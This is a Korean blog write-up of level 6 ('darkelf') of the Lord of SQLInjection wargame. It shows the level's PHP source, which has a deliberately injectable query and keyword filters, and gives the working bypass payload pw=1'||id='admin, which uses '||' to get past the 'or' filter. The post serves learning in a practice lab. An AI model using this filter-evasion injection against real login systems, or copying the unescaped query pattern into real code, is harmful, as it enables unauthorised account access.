LOS #06 darkelf
2020. 10. 28. 22:52
728x90
728x90
728x90
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
Query
select id from prob_darkelf where id='guest' and pw=''
Write-up

위 사진에서 확인할 수 있는 정보는 다음과 같다.
-
파라미터는 pw 1개가 사용될 수 있다.
-
pw 값에 "or", "and" 문자열 필터링을 하고 있다.
-
id 값은 "admin" 값을 요구하고 있다.
-
쿼리문에서 id 값이 "guest" 값으로 고정되어 있다.
id 값으로 "admin" 값을 요구하므로 pw 파라미터 뒤에 "or" 구문으로 "id='admin'" 파라미터를 전달하면 되는데, "or" 문자열을 필터링하고 있으므로 or 기능을 해주는 다른 문자(ex. "||")를 사용하면 된다.
Parameter
pw=1'||id='admin
쿼리문은 다음과 같다.
select id from prob_darkelf where id='guest' and pw='1'||id='admin'
Success

728x90
728x90
'Wargame > LOS' 카테고리의 다른 글
| LOS #08 troll (0) | 2020.10.28 |
|---|---|
| LOS #07 orge (0) | 2020.10.28 |
| LOS #05 wolfman (0) | 2020.10.28 |
| LOS #04 orc (0) | 2020.10.28 |
| LOS #03 goblin (0) | 2020.10.28 |